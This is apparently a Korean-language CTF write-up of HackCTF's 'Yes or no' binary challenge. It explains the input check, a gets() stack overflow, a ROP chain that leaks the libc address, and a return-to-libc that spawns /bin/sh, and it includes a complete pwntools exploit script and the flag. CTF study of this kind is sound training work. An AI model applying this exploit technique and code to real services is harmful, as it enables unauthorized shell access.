-
Yes or noCTF/HackCTF 2021. 1. 21. 20:02
Disassembly 디스어셈블리
main() 함수의 초반부에서는 fgets(&str, 10, stdin)과 var_8h = atoi(&str)이 호출된다.
그 후에 eax에 각종 연산을 가하더니 eax==var_8h라면 gets(&str)을 호출하고, 그렇지 않다면 일부 출력문을 거친 후 함수가 종료된다. 따라서 var_8h가 eax와 같은 값을 가지도록 입력을 구성해야 gets()에서 발생하는 스택 버퍼 오버플로우를 활용할 수 있다.
Condition eax==var_8h
어셈블리를 살펴보면 eax에 가해지는 연산이 외부 입력에 상관없이 항상 일정하다는 것을 알 수 있다. gdb를 통해 cmp 명령어 직전의 eax 값을 구하자.
eax은 0x960000, 십진수로 변환하면 9830400이다. var_8h를 eax와 같도록 해야 하므로 "9830400"을 fgets()의 입력으로 넣어주면 된다.
p.sendlineafter("!", str(9830400))
정상적으로 조건문을 통과한 것을 볼 수 있다.
ROP
조건문 이후에 호출되는 함수는 gets(&str)이 유일하다. 스택 버퍼 오버플로우를 통해 return address를 덮을 수 있는데, NX bit가 걸려 있으므로 스택에 쉘코드 삽입을 시도할 수는 없고, RTL을 이용하자니 라이브러리 주소를 모르는 상태다.
Libc address leak
먼저, 라이브러리 주소를 구하기 위한 payload는 다음과 같다.
prdi = (r.find_gadget(['pop rdi', 'ret']))[0] payload = b"A"*0x1a payload += p64(prdi) payload += p64(e.got["gets"]) payload += p64(e.plt["puts"]) payload += p64(e.symbols["main"]) p.sendlineafter("Follow me\n", payload) gets = u64(p.recvline().strip().ljust(8, b"\x00")) libc = gets - l.symbols["gets"] system = libc + l.symbols["system"] log.info("libc : " + hex(libc))
pop rdi, ret 명령어를 수행하는 가젯을 찾아서 gets의 got를 인자로 puts()를 호출한 뒤, main()을 호출해 버퍼 오버플로우 공격을 다시 시도할 수 있도록 한다.
gets의 got에는 gets의 라이브러리 주소가 적혀 있고, 라이브러리 함수들 간의 offset을 바탕으로 system의 주소 또한 구할 수 있다.
RTL
이제 라이브러리의 주소를 알고 있으니 system()을 통한 공격을 시도할 수 있다. 이때 "/bin/sh" 문자열을 적어둘 곳이 필요한데, atoi의 got를 인자로 gets()를 호출하여 binsh를 덮어쓰면 된다. 이제 atoi의 got를 인자로 system()을 호출하면 system("/bin/sh)가 호출되므로 문제를 해결할 수 있다.
p.sendlineafter("!", str(9830400)) payload = b"A"*0x1a payload += p64(prdi) payload += p64(e.got["atoi"]) payload += p64(e.plt["gets"]) payload += p64(prdi) payload += p64(e.got["atoi"]) payload += p64(system) p.sendlineafter("Follow me\n", payload) p.sendline("/bin/sh\x00")
Code
더보기from pwn import * binary = "./yes_or_no" libc = "./libc-2.27.so" server = "ctf.j0n9hyun.xyz" port = 3009 context.log_level = 'debug' context.binary = binary p = remote(server, port) # p = process(binary) e = ELF(binary) l = ELF(libc) r = ROP(e) # shellcode = asm(shellcraft.execve("/bin/sh",0,0)) p.sendlineafter("!", str(9830400)) prdi = (r.find_gadget(['pop rdi', 'ret']))[0] payload = b"A"*0x1a payload += p64(prdi) payload += p64(e.got["gets"]) payload += p64(e.plt["puts"]) payload += p64(e.symbols["main"]) p.sendlineafter("Follow me\n", payload) gets = u64(p.recvline().strip().ljust(8, b"\x00")) libc = gets - l.symbols["gets"] system = libc + l.symbols["system"] log.info("libc : " + hex(libc)) p.sendlineafter("!", str(9830400)) payload = b"A"*0x1a payload += p64(prdi) payload += p64(e.got["atoi"]) payload += p64(e.plt["gets"]) payload += p64(prdi) payload += p64(e.got["atoi"]) payload += p64(system) p.sendlineafter("Follow me\n", payload) p.sendline("/bin/sh\x00") p.interactive()
Flag
HackCTF{4nd_4_P4ssing_necklace_in_h1s_h4nd}